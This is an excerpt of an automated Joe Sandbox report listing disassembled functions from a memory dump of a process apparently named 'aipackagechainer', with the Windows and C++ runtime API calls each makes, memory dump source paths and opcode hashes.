                                                                                                                                                                                                                                                  • Opcode ID: 1a4482814c35d3a6712267dd511b9925708f4bfda3758b50a5b237604647e790
                                                                                                                                                                                                                                                  • Instruction ID: 04a9e1fbe07bfbe69195c6fc7ffa0130e5accdae68d21e45f31bf1c0cfe51df7
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1a4482814c35d3a6712267dd511b9925708f4bfda3758b50a5b237604647e790
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FB210B76920214DFCB01EF64D885AAEB7B5BF84320F24801AF818AB381DF709D55CB91
                                                                                                                                                                                                                                                  Function 0028D644 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,0028D751,4938EAB5,0024CF81,00000000,00000000,00000000,?,0028D99C,00000021,FlsSetValue,002B2A8C,002B2A94,00000000), ref: 0028D705
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: FreeLibrary
                                                                                                                                                                                                                                                  • String ID: api-ms-$ext-ms-
                                                                                                                                                                                                                                                  • API String ID: 3664257935-537541572
                                                                                                                                                                                                                                                  • Opcode ID: 90aae6d364ad75c51ee29a8ee9ed40a2e958a70061954bfa01741e7d7aec0bc4
                                                                                                                                                                                                                                                  • Instruction ID: 2ad2738d5392486daa7e38aa67c1682672c104777b003e4caa3e9d0ae19bbf18
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 90aae6d364ad75c51ee29a8ee9ed40a2e958a70061954bfa01741e7d7aec0bc4
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E421DB39913226ABC7216F25FC44A5A776DEF42760F250124E909A71D0FB70ED25CBD0
                                                                                                                                                                                                                                                  Function 00278CC0 Relevance: 10.6, APIs: 7, Instructions: 63COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 00278CDA
                                                                                                                                                                                                                                                    • Part of subcall function 00277B30: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00277B8F
                                                                                                                                                                                                                                                    • Part of subcall function 00277B30: GetLastError.KERNEL32 ref: 00277B9A
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?,74DEE010,?,?,74DF3080,00279091,?), ref: 00278D0A
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,74DF3080,00279091,?), ref: 00278D1A
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?,74DF3080,00279091,?), ref: 00278D22
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,74DF3080,00279091,?), ref: 00278D2C
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(?,?,74DF3080,00279091,?), ref: 00278D46
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,?,74DF3080,00279091,?), ref: 00278D62
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$CriticalEventSection$EnterLeaveObjectSingleWait__alloca_probe_16
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2730365815-0
                                                                                                                                                                                                                                                  • Opcode ID: d4781e0b5c282e4e63d24d696d5858bf83e25fbbf4c4a5e5a7199442f50a76ef
                                                                                                                                                                                                                                                  • Instruction ID: 8066c7cca3eecedff48b257bddfd20e5fbf10e632062da6f3219c4508f2ced15
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d4781e0b5c282e4e63d24d696d5858bf83e25fbbf4c4a5e5a7199442f50a76ef
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9F11AF31A10705DBDB209F79D888BA6B7E9FF58310F11891EE94ED3200DB30AC118B65
                                                                                                                                                                                                                                                  Function 0024FE60 Relevance: 10.5, APIs: 7, Instructions: 44sleepwindowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,0000040A), ref: 0024FE75
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(00000000,?), ref: 0024FE7D
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,0000040B), ref: 0024FE8B
                                                                                                                                                                                                                                                  • SendMessageW.USER32(00000000,00000410,00000002,00000000), ref: 0024FE9D
                                                                                                                                                                                                                                                  • ShowWindow.USER32(00000000,00000000), ref: 0024FEAC
                                                                                                                                                                                                                                                  • Sleep.KERNEL32(000000C8), ref: 0024FEB3
                                                                                                                                                                                                                                                  • ShowWindow.USER32(00000000,00000001), ref: 0024FEBC
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$ItemShow$MessageSendSleepText
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 106862907-0
                                                                                                                                                                                                                                                  • Opcode ID: 11fe18c6eeb28eda6934df22d35d03b53ee11fab6958300c59a65f7e624c7e04
                                                                                                                                                                                                                                                  • Instruction ID: 3b79387c09ee8bf75d8692e3e435ec02f220a21ad16ebb3ff062a1adab20961e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 11fe18c6eeb28eda6934df22d35d03b53ee11fab6958300c59a65f7e624c7e04
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 22016272640301ABEF105B54EC8DF3B7B29FF8AB11F15445DF701AB1A0CBB198128B65
                                                                                                                                                                                                                                                  Function 002253C0 Relevance: 9.3, APIs: 6, Instructions: 324memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CoInitializeEx.OLE32(00000000,00000000,4938EAB5), ref: 00225431
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(?,00000000), ref: 00225546
                                                                                                                                                                                                                                                  • HeapFree.KERNEL32(00000000,?,00000000), ref: 0022554C
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(?,00000000), ref: 002255DF
                                                                                                                                                                                                                                                  • HeapFree.KERNEL32(00000000,?,00000000), ref: 002255E5
                                                                                                                                                                                                                                                  • CoUninitialize.OLE32 ref: 00225768
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Heap$FreeProcess$InitializeUninitialize
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 4239879612-0
                                                                                                                                                                                                                                                  • Opcode ID: 3220728dec29b6c0dba17cfe67197a8421d687aef0ae331134c3d7bb07341fc9
                                                                                                                                                                                                                                                  • Instruction ID: 52ff69bc10299f8f60b0551a13dce18ab28ecde4c36a1efa6d4bb0969b2e6ff8
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3220728dec29b6c0dba17cfe67197a8421d687aef0ae331134c3d7bb07341fc9
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EDD19C70D10629EFDB24CFA8D844BEDBBB5BF45304F20829DE009A7292DB749A94CF51
                                                                                                                                                                                                                                                  Function 00299C34 Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 2054899641890bd263a13b6cc6b7a444b7f55d871dfec703dd2ec906c0198697
                                                                                                                                                                                                                                                  • Instruction ID: d522151646352d008612e86458b7bb6d5e4e9c98b1f60e7bc9958a5af9acbe41
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2054899641890bd263a13b6cc6b7a444b7f55d871dfec703dd2ec906c0198697
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 93B12470A24246AFDF11DF9DC880BADBBB5AF49320F14805DE441972D2CB719DA2CF60
                                                                                                                                                                                                                                                  Function 00218780 Relevance: 9.2, APIs: 6, Instructions: 153COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 002187CA
                                                                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 002187EC
                                                                                                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00218814
                                                                                                                                                                                                                                                  • __Getctype.LIBCPMT ref: 002188F5
                                                                                                                                                                                                                                                  • std::_Facet_Register.LIBCPMT ref: 00218957
                                                                                                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00218981
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1102183713-0
                                                                                                                                                                                                                                                  • Opcode ID: aa522f264af99ade9d171ac9806ae145dcd0151038393317366bfd6f011ab52d
                                                                                                                                                                                                                                                  • Instruction ID: 09d7b23668be3f0683b2772c50fc000ba60c6ac9f5f2897b8b3ae100070330c4
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: aa522f264af99ade9d171ac9806ae145dcd0151038393317366bfd6f011ab52d
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FA61BF71C20249DFDB10CF68C9857AEBBF0FB24310F158259D849AB391EB74AA94CF91
                                                                                                                                                                                                                                                  Function 0021C910 Relevance: 9.1, APIs: 6, Instructions: 140COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 0021C94D
                                                                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 0021C96F
                                                                                                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 0021C997
                                                                                                                                                                                                                                                  • __Getcoll.LIBCPMT ref: 0021CA61
                                                                                                                                                                                                                                                  • std::_Facet_Register.LIBCPMT ref: 0021CAA6
                                                                                                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 0021CADE
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetcollRegister
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1184649410-0
                                                                                                                                                                                                                                                  • Opcode ID: 7aa060c729969f56e370ea0327acd7290e2500474710f6b70f527a4509dae39f
                                                                                                                                                                                                                                                  • Instruction ID: d4f66a3a7b2b710833b424f3ae4b774df483335440e1e5bd331bd286164c3ca3
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7aa060c729969f56e370ea0327acd7290e2500474710f6b70f527a4509dae39f
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FC516970D61208DFCB11DF98D944BEDBBB0FF54320F24805AE419AB291DB74AA55CF91
                                                                                                                                                                                                                                                  Function 0022F8C0 Relevance: 9.1, APIs: 6, Instructions: 130COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CharNextW.USER32(?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?,?), ref: 0022F8FB
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000001,?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?), ref: 0022F91B
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000000,?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?), ref: 0022F92B
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000027,?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?), ref: 0022F934
                                                                                                                                                                                                                                                  • CharNextW.USER32(?,?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?), ref: 0022F9A0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CharNext
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3213498283-0
                                                                                                                                                                                                                                                  • Opcode ID: 30507d1d7db6a94e884b921ca14e1fc6680c08cbaa9d2b0979c51c1179b91fdc
                                                                                                                                                                                                                                                  • Instruction ID: 690f541d67a2c8e399701862934fd955cf7462b313aa5776c1fbdd3bdc4ccd47
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 30507d1d7db6a94e884b921ca14e1fc6680c08cbaa9d2b0979c51c1179b91fdc
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D6411836710222ABCB10DF68ED8467AB3F6FFC8710B86853AE8498B264D731DD51CB50
                                                                                                                                                                                                                                                  Function 0025F980 Relevance: 9.1, APIs: 6, Instructions: 102windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,00000425), ref: 0025F9A5
                                                                                                                                                                                                                                                  • GetWindowTextLengthW.USER32(00000000), ref: 0025F9B0
                                                                                                                                                                                                                                                  • GetWindowTextW.USER32(?,?,?), ref: 0025FA01
                                                                                                                                                                                                                                                  • MessageBeep.USER32(000000FF), ref: 0025FA4D
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,00000425), ref: 0025FA62
                                                                                                                                                                                                                                                  • SetFocus.USER32(00000000,?,?), ref: 0025FA69
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ItemTextWindow$BeepFocusLengthMessage
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2221317226-0
                                                                                                                                                                                                                                                  • Opcode ID: c817c5cb4e2224e4cd57c19f8c47e934ff209401fa254de6e84ed4e308dd7f42
                                                                                                                                                                                                                                                  • Instruction ID: 095977f463284b427fc059dd93a9e21ddf13f4d4168d9750fd1c885e616795a0
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c817c5cb4e2224e4cd57c19f8c47e934ff209401fa254de6e84ed4e308dd7f42
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0F31BE71611601DFDF04EF68D999D2ABBE5FF88305B20456CF845C7260DB32A819CB95
                                                                                                                                                                                                                                                  Function 00258B30 Relevance: 9.1, APIs: 6, Instructions: 87threadCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetActiveWindow.USER32 ref: 00258B5B
                                                                                                                                                                                                                                                  • SetLastError.KERNEL32(0000000E), ref: 00258B78
                                                                                                                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 00258BA7
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(002DACD0), ref: 00258BC7
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(002DACD0), ref: 00258BEB
                                                                                                                                                                                                                                                  • DialogBoxParamW.USER32(000000D8,00000000,Function_00038720,00000000), ref: 00258C08
                                                                                                                                                                                                                                                    • Part of subcall function 0027A15A: GetProcessHeap.KERNEL32(00000008,00000008,?,0024711E), ref: 0027A15F
                                                                                                                                                                                                                                                    • Part of subcall function 0027A15A: HeapAlloc.KERNEL32(00000000), ref: 0027A166
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalHeapSection$ActiveAllocCurrentDialogEnterErrorLastLeaveParamProcessThreadWindow
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 828238446-0
                                                                                                                                                                                                                                                  • Opcode ID: 8e6631998e52d8978631cbcbe97e1d9792376d26a0f5c468ab5041f65f6053e4
                                                                                                                                                                                                                                                  • Instruction ID: a2b2accbd9cca30b87caba08c12b5ee28ae1de48a759d23908d384b650c4d63e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8e6631998e52d8978631cbcbe97e1d9792376d26a0f5c468ab5041f65f6053e4
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3E313371A14304AFDB10CF68EC0DB49FBB4FB05726F10465BE919A77C0DBB1A8108BA2
                                                                                                                                                                                                                                                  Function 00259080 Relevance: 9.1, APIs: 6, Instructions: 86windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003,00000020,00000003,?,80000000), ref: 00259111
                                                                                                                                                                                                                                                  • VerSetConditionMask.KERNEL32(00000000), ref: 00259115
                                                                                                                                                                                                                                                  • VerSetConditionMask.KERNEL32(00000000), ref: 00259119
                                                                                                                                                                                                                                                  • VerifyVersionInfoW.KERNEL32(?), ref: 0025913E
                                                                                                                                                                                                                                                  • GetParent.USER32(0025867E), ref: 0025915B
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,00000432,00000000,?), ref: 00259198
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ConditionMask$InfoMessageParentSendVerifyVersion
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2374517313-0
                                                                                                                                                                                                                                                  • Opcode ID: 4f76486bbae3ac40fe3ff3f83e9cb1f583981cb020f75f48b5b4eeec7e386e48
                                                                                                                                                                                                                                                  • Instruction ID: e1cf8d0554b357c78a2c30b31c27a5c279705a6c9e727ebd5e0ab676cd207090
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4f76486bbae3ac40fe3ff3f83e9cb1f583981cb020f75f48b5b4eeec7e386e48
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6D312FB0918344AFE760DF24DC4AB6BBBE8EFC9714F00491EF58897290D7B599048B96
                                                                                                                                                                                                                                                  Function 0027E110 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,0027E107,0023A87C,002BC468,00000002,4938EAB5), ref: 0027E11E
                                                                                                                                                                                                                                                  • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0027E12C
                                                                                                                                                                                                                                                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0027E145
                                                                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,0027E107,0023A87C,002BC468,00000002,4938EAB5), ref: 0027E197
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
